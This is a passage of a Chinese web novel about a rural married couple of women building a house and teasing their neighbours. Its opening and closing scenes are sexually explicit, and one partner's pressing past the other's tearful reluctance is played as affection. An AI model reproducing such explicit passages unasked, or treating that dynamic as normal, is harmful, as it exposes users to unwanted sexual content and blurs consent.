她已经有那么多首饰了,妻君还是爱给她买首饰,家里大半的银子怕是都花在她身上了。 小姑娘一边怪妻子,一边心里又止不住的泛起甜蜜,妻君对我可真好,越来越好了。 宋渝归被媳妇儿责怪也不在意,抬手将人搂住,凑近便亲了亲,“我想给你买嘛,那珠钗衬你,你戴上极其好看,是不是?” 惜枝嘴上怪她花钱大手大脚,实际上悄悄将她买的每一样东西都当宝贝似的收起来了,时不时还要轮番擦拭一遍,重视的不得了。 沈惜枝脸颊微红,“好看是好看,但是,但是也不必现在就买呀,你之前买的也很好看,我都戴不完呢。” “我就想立刻看你戴上,今夜戴与我看看可好?” 不过二两的珠钗,自算不得贵重华丽,但胜在清雅,梅花琉璃剔透,簪在发间极是好看。 沈惜枝拗不过妻子,只得去了旁的首饰,将发簪斜斜簪在乌黑墨发之中,松松垮垮挽住满头青丝。 双腿分开仰面坐在妻子怀中,只着了一件艳色的红肚兜,与粉色单薄里裤。 露出大片雪白后背。 若隐若现的,更引人沉醉。 惜枝生的好看,她一直知道,从穿过来时她便觉得她好看,亲自养了这么些时日,养出肉来,又觉得人越养越好看了。 惊人的美貌叫她一时失神,手本扶着那娇娇臀瓣,此时也不自觉往下,竟是入到深处了。 沈惜枝不由向上仰着天鹅般的颈项,露出难耐神色,薄唇紧咬,小脸一层红过一层,从上到下,她的衣物竟还是完好的,只是在那底裤上开了个洞,方便人欺负一二。 作乱的细长手指时而伸直,时而弯曲扣弄,挠痒痒一般欺她,沈惜枝受不住,嘴里胡乱唤着妻君,雪白脚背绷直,抱着妻子的手臂一会儿失了力气,一会儿又不由自主更加用力,圆润小屁股往上一拱一拱的,不一会儿,底裤便浸满了深色。 连带小屁股也是湿乎乎的。 染上绯红的小脸往前头一栽,便栽进宋渝归怀里,嫣红唇瓣微张,哭的上气不接下气。 她讨厌这个姿势! 方才恐怖的快感几乎摧毁神智,她,她都流口水了! 跟傻了一样,吓死人了。 妻君太坏了,明明以前还不会弄的,现在怎么…… 怎么如此会了,花样还这般多,都是上哪学的啊。 沈惜枝泪眼盈盈,虽软倒在人怀里,却半点也不想理她,只顾着自个儿委屈抽噎。 宋渝归又熟练的去哄她,“别哭啊,宝宝哭的我心都碎了,别哭别哭,今日是我孟浪,日后一定疼你宠你什么都听你的,好不好?” 这番话,她昨日孟浪的时候已经说过了! 可见根本就不是真心的,只是想哄她下次再由着她胡来! “好什么好,我再也,再也……” 她想说出几句威胁人的话,与宋渝归抗衡一二,可张了张嘴,竟半点难听话都说不出来。 她舍不得说。 妻君坏,我如此心疼妻君,妻君却能狠下心欺负我! 两条笔直小腿无力的垂落,她这般模样,不需说一句话,就足以让人心疼的。 宋渝归一颗心就跟被蚊子咬了一样,又痒又疼。 连忙兜着妻子的小屁股,将她抱到床上,这下是真下功夫去哄她了,“是我太过分惹你生气了吗,那你打我骂我可好?别一个人难过啊。” 她低头去亲人家隐有泪痕的小脸。 都是方才极度难耐时,她控制不住哭出来的,现在跟个小花猫似的。 不过脸上斑驳的泪痕,又被另一人细细吻去,她哄着,“我下次定不这样了,你莫要生我的气,好不好?” 沈惜枝心知她是骗人的,说什么下次不这样了,这种话没有十遍也讲过八遍了,哪次真正做到过? 不都是唬我的吗! 小姑娘生气,生气也舍不得真不理人,只是委屈的将脸撇去一边,再给妻子一个机会。 一见她这样,宋渝归就笑了。 惜枝永远这般好哄。 人平躺在床榻上,两条腿对着她,底裤下头被特意划开了,隐隐能望见闭合的嫩色,愈发鲜嫩欲滴了,叫人简直想凑过去亲一口。 不过为了避免坐冷板凳睡冷被窝,她还是忍住了。 取了一直用柴火温着的热水,打湿帕子,将湿透的底裤脱下,仔仔细细帮人洗了屁股。 沈惜枝没成想她要做这个,被脱裤子时惊呼一声,看她的眼神仿佛在看什么不知停歇的禽兽。 宋渝归:…… 轻弹了一下胡思乱想妻子身上的娇嫩梅花,惹得人隐忍闷哼,才道,“想什么呢,我帮你简单擦一擦我们便休息,胡闹这样久,你不累吗?” 沈惜枝想去捂被弹之处,却又实在不好意思,只能红着脸一下翻转过身,将自己埋进被子里,雪白娇软的臀部就这么露天裸着翘着,竟是也没个人管了。 这幅顾头不顾腚的模样,叫人忍不住发笑。 但还是很可爱,我媳妇儿就是可爱。 她今日没折腾软乎乎面团一样的大白屁股,上面半点痕迹也无,被她拿帕子前前后后里里外外的擦干净。 沈惜枝埋在被子里,遮掩住轻细的呜咽声。 洗完屁股,她又去换了一盆水,沈惜枝自然以为渝归姐姐是要给自己洗了,下意识要往榻里面爬,却不想被人一把抓住脚踝,拖了回来。 小姑娘无辜且茫然的向后看去。 宋渝归无奈,“你怕什么,脚还没洗呢。” 好像,好像是没洗。 沈惜枝心虚,轻轻应了一声,“哦。” 接着便坐回去,精致小巧的玉足落于人手,她也并不挣扎,虽然生气,但妻子要如何对她,她都是认的。 乖的跟什么似的。 宋渝归心肠软软,摸了摸小媳妇儿软软的脚心,又一次浸湿帕子,亲自给她擦脚。 沈惜枝一惊,下意识往回缩了缩白嫩玉足,却没有成功,仍被人握在手心把玩,微凉的帕子一点一点擦过去,从脚后跟至足心,又到根根圆润漂亮的脚趾。 总之是被擦了个遍,将人弄得浑身都要冒热气,快蒸熟了,才放开,她连滚带爬卷了被子裹在自己身上,小脸也埋到被子里面,一副不愿见人的羞样。 宋渝归隔着被子拍拍媳妇儿小屁股,温声道,“那我也去洗了,你等等我?” 里面没人说话,只被子里凸起的人影耸动了两下。 似为作答,她笑了笑,简单给自己清洗一番,带着凉意上了床榻。 一上去就扯过被子,将自己盖起来。 沈惜枝没有防备,叫她扯走了被子,半个雪白身子露在外头,叫风一吹,可冷了。 她还没来得及生气,便有一只手落在她腰上,将她往后一搂,她被迫陷在人微凉的怀里。 “渝归姐姐!你太冷了。” 小姑娘抱怨出声,宋渝归只当没听见,红肚兜仍挂在身前,露出大片雪白的蝴蝶骨。 她便凑近,在蝴蝶骨上落下一个又一个吻,含糊哄她,“等会儿就暖了嘛,我抱抱你。” 她只说是抱抱,却从来没老实过,后头亲完了又掰着肩膀将人翻过身来,见她脸颊红红,便把她拉到自己面前,对着红润的唇瓣咬了咬。 沈惜枝垂眸,更没眼看了。 她如此,宋渝归眯了眯眼睛,有些恨铁不成钢,“能不能把你绑我时的劲头拿出来,如今羞成这样,谁看了不觉得是我在强迫你,可分明你我也算两情相悦,是你先喜欢我的!” 喜欢我,向我索求的是这人,现在害羞不已,总是不让碰的还是你! 都说女人心海底针,我也是女人,凭什么你的海比我的深? 沈惜枝嗫嚅两声,得附耳过去,才能听清她说的是,“今时不同往日……” “哦,你的意思是只有我不喜欢你的时候你才会大着胆子主动一点?我一喜欢你了,你就像只乌龟一样缩回龟壳里?” 宋渝归简直不敢相信,世上怎有这样的人,得不到时百般想要,得到了就不要也行了? 越想越气,沈惜枝还没来得及为自己解释呢,屋里就响起清脆的啪声。 她打我屁股! 小姑娘顿时怒目而视,还有些委屈,说话就说话,怎么还打人呢…… 宋渝归打完了,见她瞪着一双水润润清澈的大眼睛,仿佛被她怎样狠狠的欺负了,又有些心软,媳妇可爱,确实不能因她可爱就老是欺负她。 “咳,谁叫你不如从前主动的。” 自从她明说了也喜欢惜枝后,惜枝真是一日不如一日主动了,一开始还埋怨她不肯碰她的,现在居然不给她碰,每回一碰她就浑身泛粉,扭扭捏捏的害羞起来,还总要叮嘱她,“不能弄太久哦。” “不要太进去了,我会哭的。” “不能咬我屁股,也不能太用力的打我屁股。” 一字一句叮嘱下来,她都感觉两人生分了! 哼,哪有寻常妻妻做那等事之前会被叮嘱这些话啊,惜枝定是不如以往喜爱她了。 宋渝归半点不想自己每次一行事做的便有多过分,是叫人哭叫不止也不肯停的。 将错处全怪在沈惜枝身上, 沈惜枝满身的怨念,又被人往自己怀里扣了扣,她倒也没有反抗,乖乖依进对方怀里,只语气分外委屈,“你都这么主动了,我再主动……像什么样子啊。” 妻君已经很主动了,她若再不羞一些退一些,两人怕是在外面就能吻个天昏地暗,那多不要脸呀,会遭人闲话的。 “哼,我可不管,你不主动便是没有原来那般喜爱我了。” 她低头亲了亲怀里人挺翘的小鼻子,然后又倏地冷脸,逼问她是不是不喜欢她了。 论胡说八道,沈惜枝哪里是宋渝归的对手,轻易被人牵着鼻子走,晕头转向的只顾着摇头否认了。 “没有,我没有不喜欢你,你冤枉我。” 那声音又轻又软,带着被冤后的委屈。 “那你主动一二我看看?” 宋渝归不要脸,变着法儿给自己讨好处,小姑娘这时又顿住了,啊,主,主动啊。 她最不会主动了。 小脸不自觉红作一片,不想听话,又觉得她如果不听话,妻君又要不理人了。 她很怕这个。 犹豫了好久,怀里的娇人儿才一点一点在她身上磨蹭,缓缓抬起精致雪白的小脸,咬着粉嫩唇瓣,犹豫的看她一会儿,然后缓缓闭上眼睛,倾身吻在她唇瓣上。 吻上去后,她就不动了,四片唇瓣相贴,谁也不动,沈惜枝悄悄将眼睛睁开一条缝,瞥见妻子正玩味的看着她。 她明知她羞,却并不帮忙。 沈惜枝恼怒之下,竟张开嘴巴咬了宋渝归一口。 “嘶,我竟不知,我娶的媳妇儿是小狗。” 她将脑袋往后仰了仰,唇瓣微微红肿,但并没有破皮。 沈惜枝没舍得咬太大力,不过不妨碍她此时的心虚。 “是,是你先欺负人的。” “妻妻之间,我叫你主动些也能算欺负人?” 她颇为强词夺理,沈惜枝呐呐闭了嘴。 说不过她,只能仰头在她嘴上吃了一下。 又在被她咬红的地方额外吮了吮,讨好般轻轻舔舐。 过后便是双水泠泠的大眼睛无辜纯澈望着她,仿佛在央求她,别说我了。 宋渝归终于笑了,低头将人吻的意乱情迷。 也是好好吃了顿荤的,与隔壁屋惯爱吃素的两人不同。 她们只是面对面躺在榻上,楚晚棠冷着声儿问,“表姐明日还要去找那宋星川吗?” 池厢月恨不得拿被子闷死自己算了,最近渝归卖肉卖的勤,都得很晚才回来,然后她,就每天早上重复,去找宋星川干农活,被宋星川拒绝这件事。 一早起来她不由自主就要去,完全控制不了自己,不过好在也并非一直如此,刚开始她即使被拒绝,内心也有很强烈的干活欲望,非得在一旁看着宋星川干活不可,但这几日,明显能自控一些了,干活欲大大削减,不过是走个流程。 去宋星川家,被拒绝,轻松的回家。 楚晚棠警告过宋星川,他若想活命,自然不敢再与表姐有牵扯,只表姐的毛病实在奇怪,她暗中找了人为表姐看过,既非中毒也没有蛊虫,怪哉,这毛病的源头为何就落在宋星川身上了,若是落在她身上该有多好,那日日被表姐念着的,就是她了。 小表妹失神想着。【你现在阅读的是 】 70-80 第71章 世上哪有这样的道理! 宋渝归又是如此辛勤了半月,将银子攒够近五十两,便去镇上寻了名声稍好的工匠,请对方为自己描画图纸,修建房子。 新房屋的图纸尚需几日才能画出来,宋渝归在此期内和惜枝日日待在镇上,只为挑选铺地所需的青砖,头顶盖的瓦片。 沈惜枝从没住过铺有青砖的屋子,家里大多都是黄泥地,娘家是如此,后来的妻家亦是如此。 可现在,妻君说要弄青砖瓦房! 她兴致勃勃的挑着青砖,可问了一会儿价格后又回头苦巴着小脸,脑袋耷拉着,撅了撅嘴,失落道,“妻君,都好贵呀。” 好的一块青砖就要十来文呢,铺屋子少说也得几百上千块青砖,她还没算价格就要被吓死了。 原来从前她手里的银钱,连一块砖头都买不起! 真是好生可怜,还好最后妻君变好了,才没叫她一直那般。 十几文的青砖沈惜枝不敢多看,宋渝归摸着却觉得不错。 若买一千块砖,便是十五两银子,价格确实贵,但感觉铺上去应该蛮好看的。 惜枝还在那看十文以下的砖头,她已经同老板讲起价格了。 老板也是爽快人,与她说一千块砖不够的,她若真心想要,原价买下后再送她一百块砖。 宋渝归没犹豫太久便应了。 等沈惜枝看完别的砖回来,她钱都付好了。 沈惜枝:…… 我刚想买更便宜的! “十五两银子呀,那么贵。” “嗯,好砖石自然贵一些,十五两许还不够,到时等师傅来了我们再看看,若是欠缺可再过来买。” “哦,好趴,我听渝归姐姐的。” 她虽然嫌贵,但已经很习惯听妻子的话了。 青砖劳烦店家帮她们装进车里,后又买了等价的瓦片,瓦片一千片是指定不够的,她便先付了二十两,请他们将瓦片,连带着自己与媳妇儿一同送回家,许多修建房屋所需之物都堆在了后院。 加上请人绘画图纸的五百文,她们一共已花了三十五两多,险些就要不够了。 沈惜枝抱着妻子晃悠晃悠,语气有些担忧,“你买的也太贵了些,五十两都止不住呢。” 宋渝归尴尬,她也知道自己爱花钱,喜欢好一点的东西,买时没考虑到加在一起要这么多钱。 “那,那我这两天努力一点挣钱嘛。” 一日挣个一两也是顶天了,最多两日挣三两,再努力能努力到何处去? 沈惜枝嗔怪的瞪了妻子一眼,复又抱上妻子的手臂,小声惦记起了后院那头肥猪。 “妻君,我们何时杀猪呀。” 一头猪能卖得好几两呢,得了那钱起码看着就宽裕,能叫人安心些。 “等工匠过来再杀猪,工匠辛苦为我们修建房子,我们需得包饭的,到时我多留一点肉,你给他们炖个肉汤什么的,可好?” “哦,好。” 她倒忘了还得包饭一事,小姑娘又焦虑了,这过日子怎这样花钱啊。 正好村里来了人,请宋渝归帮忙杀猪吃杀猪饭,她还没答应呢,便被媳妇儿一口应下,推着走了。 杀一头猪收价四十文,杀完了主人家还会请她们吃杀猪饭。 四十文也很多了。 宋渝归没说什么,家里钱确实比较要紧,她拿了两把杀猪刀就去了,在那利落的把猪分解完吃了一餐饭,回来时又见池厢月与她小表妹守在自家门口,姿态颇为眼熟,甚至有些好笑。 “池姑娘,你们这是……” 池厢月知道两人干嘛去了,她回家路过的时候,都看见了! 因此眼神愈加幽怨,好似被人怎样辜负了一般。 弄的宋渝归无言以对。 好一会儿,她才幽幽道,“外面的饭好吃吗?” …… 她这才想起今晚本还有一个嗷嗷待哺的女主,骤然心虚,眼睛望天望地,就是不敢直视对方,干巴巴道,“啊?还,还行吧,也挺好吃的。” 池厢月顿觉伤心,“哼,你是觉得好吃了,旁人都不记得了,只顾着自己吃好喝好。” 她故意闹起来,宋渝归还没说什么呢,却惹得小表妹十分心疼,一个劲儿想哄她。 “表姐别生气了,我今晚给你做糕点吃好不好?我做的糕点也很好吃的。” 表姐平日里最爱吃她做的糕点了,只是来到这里之后,有个人排在她前面。 楚晚棠抿了抿唇,掩住那些许不虞。 池厢月不忍小表妹着急,捏了捏她的手腕,无奈道,“咱都还没吃晚饭呢,我闹一闹让惜枝给我们煮碗面吃。” 沈惜枝:…… 就知道池姑娘的目的在这。 她默不作声进去,池厢月就知道有饭吃了,一改方才仿佛被人抛弃的落魄样,又眉飞色舞起来。 “听闻你家过几日就要修房子了?” 提到这里,宋渝归眉目不由舒展些许,微微点头,唇角含笑,“嗯。” “那你可有什么需要我帮忙的?尽管说,我一定义不容辞!” 她说的豪气万千,让人诧异,下意识便问一句,“你也会修房子吗?” 池厢月一顿,摸了摸后脑勺,“这倒是不会,不过你平日忙,我可以帮你监督他们啊,就怕有的工匠偷奸耍滑,我曾有一处宅子,让工匠修整时没有派人时刻盯着,他们竟就贪墨了我的银子,将所有东西都换了次一等,修筑时也不上心,砖头缝儿没卡好也就算了,房梁掉下来差点没砸死我!” 提起这桩往事池厢月便满脸写着无语晦气。 楚晚棠却全是心疼愧疚,轻轻拉住表姐的手,咬住粉唇,小声道,“都怪我,那日若不是因为我,表姐也不必受此惊吓了。” 都是她乱跑,表姐才会为了保护她,差点被房梁砸到。 小姑娘每每想起都后悔极了,眼里闪烁着泪花,竟是要哭了。 池厢月只是提一提这个事,没想惹表妹伤心难过,一见她如此,立马有些慌乱,“不是,不怪你,你说什么呢,我何时有怪过你!你也不知道会发生什么事啊,棠棠是最乖的小姑娘了,素来听话懂事,那只是个意外,我们都不怪你的,况且我不是没事吗,正是没将这件事放在心上,从不怪罪于你,我才会偶尔拿出来说一说!” 楚晚棠柔柔靠在表姐怀里,眼眶含泪眼尾微红,轻轻点头,“嗯。” 我就知道,表姐是对我最好的了。 只有表姐那么好。 她垂眸想着 沈惜枝在里头下了三个人的面,不止有池厢月与楚晚棠的,还替她媳妇儿也下了一碗。 “渝归姐姐,你也吃一点吧。” 晚饭到底是在别人家吃,她不好意思添碗,沈惜枝一眼就看出自家妻子没有吃饱,本也是打算回来再做点什么的。 “好哇,那我们一人吃半碗,你也吃一点?” 自家媳妇儿身形太过纤细,即使好吃好喝养了许久,不过是脸上多点肉罢了,胖却是不见胖的,她还是希望惜枝能多吃一点。 沈惜枝也不拒绝,微微点头,软声道,“我喝汤,渝归姐姐吃面。” 好乖呀。 “不行,你也吃点面,喝汤不顶饱也不长肉啊。” 肉汤倒是长肉,但那都是不健康的肉。 她要惜枝吃的饱饱的,健健康康的长胖。 “可是我以为吃饱了。” 她胃口小,在旁人家随便吃两口就饱了。 “那就再吃一小碗,只一小碗就好了。” 一小碗啊,那应该能吃完。 沈惜枝纤长白皙的两根手指竖起来,与妻子打着商量,“就吃两口。” 媳妇儿可爱,两口就两口,总比不吃的好。 她含笑点点头,“嗯,那就两口。” 池厢月被腻的慌,早早端了自己的碗走了,楚晚棠却留下来看了看,眼中浮现些许艳羡。 做妻妻真好,能这般肆无忌惮的撒娇。 虽然她也总向表姐撒娇卖痴,但到底是不一样的。 表姐心中还是只将她当做亲妹妹看待。 想起来就烦心。 楚晚棠正要端自己的面,池厢月又从里面出来了,风风火火的打掉她伸出的手指。 小表妹惊呼一声,颇为委屈的捂着手抬头看她。 “你进去坐着等吃饭就是,别动手,皮肉这么嫩,万一烫到了可怎么办,会留疤的。” 池厢月常年练剑,手中都是厚厚的茧子,不怕烫,小表妹却不然,娇气的很,她最娇气的时候,连茶都要替她扇好了才能端给她,帮她暖凳子之类的更不必说了。 都是毛毛雨。 她的表妹很难搞的。 “哦。” 原是关心她,吓死人了,还以为表姐凶她呢。 池厢月将那碗送进去,放在自己的旁边,随后坐下,挑了一筷子面条吸溜起来,没一会儿,表妹就从堂前进来了,她没有自己坐下,而是莫名踢了踢表姐的凳子。 池厢月抬头,看了眼表妹神色,就仿佛明白了,将自己的碗与表妹的换了个位置,她去旁边坐冷板凳,将自己身下已暖热乎的位置让给表妹。 楚晚棠这才满意,理了理衣摆,极矜持好看的坐下,给宋渝归沈惜枝看的一愣一愣的。 很快,沈惜枝那视线就变成了嗔怪的看向妻子。 …… 不是,怎么还卷起来了。 宋渝归心虚的给惜枝夹了一块牛肉浇头,“好祖宗,咱不和旁人比,啊。” 沈惜枝瞪她一眼,低头吃面,没一会儿,面里又被浇了几勺汤,有人哄她,“连着汤吃,这样好吃一点。” “哦。” 小姑娘应了一声,乖乖去吃了。 吃完后,宋渝归想起近期因着小表妹,女主都没与自己一块儿出摊,但竟也没去田地里干活,颇为好奇,“你现在又不想种田了?” 提到种田,池厢月苦着一张脸,下巴抵在桌子上,“想啊,每天都想,但没有从前那么想了,表妹总拉着我,我一回头看见表妹,也能稍清醒些,次数多了,便能控制着自己不往田里去了,但没有你管用,一看见你我真是浑身都精神了。” 楚晚棠安静的望过去,漆黑眸子里带着危险的情绪。 宋渝归:…… 总觉得你在害我但我没有证据。 她心里思索片刻,认为或许楚姑娘也确实能影响剧情。 毕竟不止她是小说里早死的角色,楚姑娘更是未曾出现过。 没有她管用大抵是因为……她是方外之魂,真正的剧情外人物,或许等小说里的时间线走完,女主就能重获自由,再也不受掣肘了。 宋渝归垂眸想着,这是一件好事,证明剧情可以改变,我的惜枝也不必落得小说那般结局。 这样就好。 手指不知不觉往身边人腰上探,将她轻轻搂着。 “嗯,只要能自控就好。” 她应了一声。 池厢月见她回完后就不说话了,不由主动问,“对了,你们下午打算做什么,我跟你们一起去啊。” 她这两天陪表妹逛街,已经逛到疲惫厌倦,看见那些首饰都头疼了。 她想砍柴,想割猪草,想杀猪,反正干什么都行,就是不要让她再陪表妹看胭脂水粉了。 楚晚棠何其聪明,自然知道表姐心思,忍不住瞪了她一眼,小声说,“我还不想跟你一起买东西呢,你看中的都很难看,还非要给我买。” 小姑娘想到各种乌漆嘛黑的首饰,便是两眼一黑,气鼓鼓的。 池厢月自然不认,对此只有一句话,“你休要抹黑我,明明都很好看!” 她瞧着有气势,可只要她的小表妹抿唇安静的盯着她,不消一会儿,她就怂了,小声说了一句,“好嘛好嘛。” 就低头猛猛喝汤。 面已然吃完了,还剩了点面汤,池厢月慢悠悠喝着。 瞧起来日后也是个归媳妇儿管的。 宋渝归心中莫名生出欣慰之意,咳了一声才回道,“我下午准备和惜枝去竹林里砍些竹子再去割猪草,然后去田里浇水。” 听起来都是一些粗活,楚晚棠懒洋洋的没什么兴致,可有的笨蛋却一口应下,“好,我陪你们一起去!” 小表妹猛的睁圆凤眸,生气喊人,“表姐!” 你陪她们去了,那我呢? 你要丢下我一个人? 池厢月见状亦是心虚的很,低头,“要不,你和我们一起去?” 楚晚棠不语,两人像是小情侣吵架,宋渝归不欲在里面讨人嫌,拉着媳妇儿的手出去喂鸡了。 喂完鸡也没再进去,看旁人腻歪没意思,且惜枝脸皮薄,当着人前想必绝不会与她亲近,两人干脆蹲在那一排小白菜前,也没什么事干,就是揪白菜叶子。 “哎,你看见白菜上头的虫子了吗?” 宋渝归忽而凑近问。 沈惜枝本还觉得揪叶子无聊,闻言顿时一脸惊恐,“啊,有虫吗,在哪在哪?” 她下意识抱住妻子的手臂,左右寻起来。 宋渝归便指了指白菜帮子上一条正蠕动的白白虫子给她看。 “啊——” 却不想将人吓得尖叫一声,毛茸茸的脑袋一个劲儿往她怀里钻,胆小的不得了。 宋渝归又是好笑又是无奈,一手搭在妻子后背上,一手却拍了拍娇小翘臀,“不过是虫子,何至于吓成这样。” 小姑娘家哪有不怕虫子的,她一直就怕,但乡下多虫蚁,从前无人关切心疼她,怕也没用,只得忍着,现在,现在是大不一样了。 沈惜枝抱着妻子,将自己死死塞进她怀里,抿着唇发脾气,“你把这虫子弄走,快些弄走!” 怀里人气的娇躯乱颤,宋渝归本没有故意气她的意思,见状连忙道了几声好,就用旁边的烂菜叶子捻了虫扔出去,仔细寻了其他菜叶上的虫,也一一挑掉,才算放心。 沈惜枝长久待在妻子怀里,只能感觉她带着自己伸手一会儿往这边一会儿往那边,还伴随着扔东西的举动,心内惶惶,“有,有这么多虫子吗?” 她被吓得要哭了。 宋渝归又揉了揉白面团似的软屁股,声音温和动听,“嗯,有一点多,你等等我,很快就好了。” 天呐,菜里有这么多虫子! 往常这菜都是池姑娘洗的,她,她怎从来不提? 正在妻子怀里畏惧的缩着,下巴抵在妻子肩膀上,不敢往白菜上看,就见池厢月与楚晚棠牵着手从屋里出来了。 楚姑娘神色看着颇为憋闷,落后半步,瞪了池姑娘好几眼呢。 池姑娘是个比妻君还要似木头的人,半点没有察觉自家表妹的不悦,一走出来便顿了下,语气满是疑惑,“你们在给菜浇水吗,为什么惜枝要坐在渝归怀里?这样浇水弄湿衣裳可怎么办呀。” 沈惜枝:…… 楚晚棠:…… 我表姐脑子好似不大好,从前就这样,现在更是了! 宋渝归都无语了,扭头满脸不可置信,“你看我手上有浇水壶吗?” 池厢月伸长脖子看了一眼,随后挠了挠后脑勺,仍旧疑惑,“不是浇水你在做什么?” “找虫子,菜里有虫子,吓到惜枝了,我得一一找出来。” “虫子?” 池厢月一惊,忙往后看了看,神色慌张,却不是怕虫,而是十分紧张道,“你这话可说不得,我表妹最怕此物了,叫她听见她晚上又要睡不着了!” 疼爱表妹的表姐赶忙转身捂住表妹耳朵,神情再急切不过。 楚晚棠一愣,有瞬间茫然,好一会儿才回忆起许久之前为了与表姐同睡,故意编造出的怕虫子怕的睡不着觉,夜里做梦都是虫子之事…… 嘴角抽了抽,眼下她已经和表姐一起睡了,哪还需要再佯装害怕什么虫子,但…… 自己说出的谎话,总是要圆的。 小表妹抿了抿唇,便往后退了半步,神色惊惶害怕的看向表姐,然后立时被她表姐揽进怀里哄着了。 这样方才是她想要的。 表姐待她,就该是这样才对。 楚晚棠靠着她,心中是少有的餍足,连一会儿要陪她做粗活的郁闷都少了许多。 宋渝归观看了全程,默默回头,仍维持抱老婆的姿势,然后凑近老婆小声道,“我觉得楚姑娘跟你有点像。” 沈惜枝先是一愣,紧接着圆润鹿眸微微眯起,声音不辨喜怒,“怎么,妻君又喜欢楚姑娘了?” 宋渝归:? 瞳孔地震。 “你这说的是什么话,我如何就喜欢楚姑娘了,成日里胡言乱语诬陷于我!” 沈惜枝单膝跪坐在人怀里,一言不发。 她料定了妻君不会在人前如何欺负她的,所以她半点儿不怕。 却不想,她的妻子,仗着她背对于人,旁人看不见,竟然狠狠掐她屁股! 岂有此理! 自从与妻君交心之后,她这屁股可就受了好大的委屈! 日日被人捏在手心把玩不说,有时还要挨打! 虽然,虽然也别有一番滋味吧,但那到底羞人呀。 沈惜枝被羞的生了闷气,扭头不理宋渝归了。 本来就是,楚姑娘是楚姑娘,我是我,她怎能觉得旁人与我像,我在她心间,不该是独一无二深受喜爱的吗? 宋渝归欺负了人,又回过来哄她,抱着她颠了颠,“好了,别生气 ,我只喜欢你,你知道的,我就是觉得楚姑娘柔弱的样子很眼熟,一直觉得眼熟,今日才发觉原是有几分像你,随口一说,你就讲的我好像变心了一样……” 说到这,她也有点委屈,哪有喜欢楚姑娘,明明只喜欢你。 沈惜枝嘴上不肯服软,身子却又往她怀里靠了靠。 心里骂人,你当然觉得眼熟了,想当初你心冷的跟铁块儿一样 ,我若不如此,你可会亲近我半分?你不会的,你就会在那杀你的猪喂你的猪,若非我孤注一掷,你这辈子就和猪过去吧你! 从前的事真是越想越气。 沈惜枝也罕见的翻了旧账,给人脸子看。 宋渝归刚感觉到她身体的靠近,以为自己哄好了她,却不想将人从怀里挪开一看,立时沉默了,这不还气着吗? 水润的眼睛淡淡望她,然后气呼呼挪开。 …… “我解释的不够清楚吗,你怎还生气?” 她分外不解,沈惜枝单膝跪久了,腿便也麻了,不理她,刚欲活动活动身子,便被宋渝归接回怀里去,主动的替她揉着膝盖,把上头的尘土也尽数拍干净,如此温柔细致。 沈惜枝默默抱着妻子脖子,偷看她的脸,但见她神色间也有隐隐的怒气,只是忍着没有对她发出来,心中又是一甜,她喜欢我啊,才会对我百般忍让,不凶我的。 于是沈惜枝又轻易原谅了妻子,被她抱着凑近她小声说,“不是为了方才的事生气,是想起以前了,以前……你总不喜欢我。” 宋渝归大为震惊,什么!现在我还得为以前不喜欢你时发生的事买单??! 世上哪有这样的道理! 第72章 恶毒的庶兄 沈惜枝虽提起了以前,却又仿佛也并不生气一般,说话了就安安静静躺在人怀里,一双葡萄般又黑又亮的眼睛盯着她。 宋渝归只能低声求她别翻旧账了,她轻轻哼了一声,也没再说什么,过一会儿才低头看了看她的腿,道, “你起来吧,我扶着你,蹲了这么久,腿肯定麻了。” 沈惜枝自个儿的腿被好生揉过伸展过,已经不麻了,但渝归姐姐的腿定还是麻的。 宋渝归也觉着肯定麻了,扶着惜枝的手站起来,刚站到一半,腿上就好像有很多根针在扎似的。 弄的她一步也走不了,沈惜枝便低头轻轻替她揉着小腿。 “没事的,一会儿就好了。” “嘶,好。” 宋渝归应了一声。 她们再缓了一会儿,才带着人进林子批竹条,惜枝的竹篮卖的不错,如今来买肉的人家大多手里都会带一个,装肉装菜都不错,模样好看轻便,容量也不小,竟像装饰品一般。 楚晚棠是大家闺秀,甚少干这等粗活,乡下的竹林也没去过,浑身写满了不适,抿抿唇,便后退半步,默默看着她们干。 池厢月是最有精神的,挥舞着斧头劈竹子。 不止竹子她砍的最多,割草也是她割的多,给菜种浇水更是她一个人全权包揽了,简直天生干活圣体。 宋渝归牵着媳妇儿站在一边感叹道。 唯有楚晚棠脸色一会儿青一会儿白的,她本就心疼表姐做这些粗活,之前说是被控制着去做的,她都气死了,结果现在一看,没被控制她也会去做农活,只是换了个人做罢了! 气死了气死了。 那边刚浇完水,池厢月欢快的走回来,却被小表妹劈手夺去水壶。 她一懵,不知所措,“怎,怎么啦?” 小表妹不理她,沉默离去。 池厢月:…… “我惹她了吗?” 茫然的看向两位好朋友。 两位好友神色一言难尽。 最后沈惜枝默然摇头,“倒也不是,楚姑娘许是心疼你了。” 池厢月震撼:“你心疼渝归的时候也会冲她闹脾气让她哄你吗?” 心疼人不应该是嘘寒问暖极尽温柔吗? 哪有这样子心疼的! 感觉自己的认知受到了冲击。 宋渝归沉默了。 还真会,我家惜枝最是口是心非了,有时与我闹脾气,并非是生我的气,而是有各种旁的原因,诸如心疼此类,都出现过。 池厢月见二人不说话,又都格外真诚的望着她,一时一个字也说不出来。 还真是这样? 大家都这样吗? 我去。 她张了张嘴,扭头追表妹去了。 一边追一边心里还是不明白,心疼我你不温言软语同我说几句话,生气干什么。 你生气了不还是得我哄着吗? 劳神劳心的是我啊。 宋渝归摇摇头,拉着媳妇儿细嫩小手,“走吧,我们也回去。” “嗯。” “那件衣裳刚刚做好,今晚穿与我看看?” 沈惜枝:…… 我那不老实总是想试探我底线的妻子! 她抿了抿唇,自然不愿,小脸又覆上粉白,偏首不搭理她。 “小枝儿~” 宋渝归不愿错失机会,拉着人的手指便是一通摇晃撒娇。 小枝儿声音细若蚊呐,“可,可是,可是这太羞人了呀。” 她仍有不肯,模样也娇娇软软的极惹人怜,可惜碰上了宋渝归这个狠心人。 “这有甚羞人的,你连这都羞,日后我若要做的更过分,你可怎么办呀小枝儿。” 沈惜枝:…… 瞪大一双鹿眸,什么,还有更过分的! 小姑娘闭了嘴,哪还敢再说话啊。 心里满是恍惚,妻君究竟学坏了多少。 这些她以前都不懂的呀,现在怎么懂的那么那么多了…… 明月高悬的夜晚,外头伴着蛙叫与清风吹动枝叶,偶尔响起野狗争食的声音,除此之外一片宁静。 宋渝归自个儿好好坐在凳子上,非得让羞的满脸滴血的小姑娘站在她面前,衣着鲜亮齐整,却唯露了一对儿大白兔,晃晃悠悠的极其显眼。 漂亮,又形似水滴。 多娇人呐。 宋渝归看得舒服,手指轻轻敲击桌面,是很愉悦的节奏。 她说,“喂我吃。” 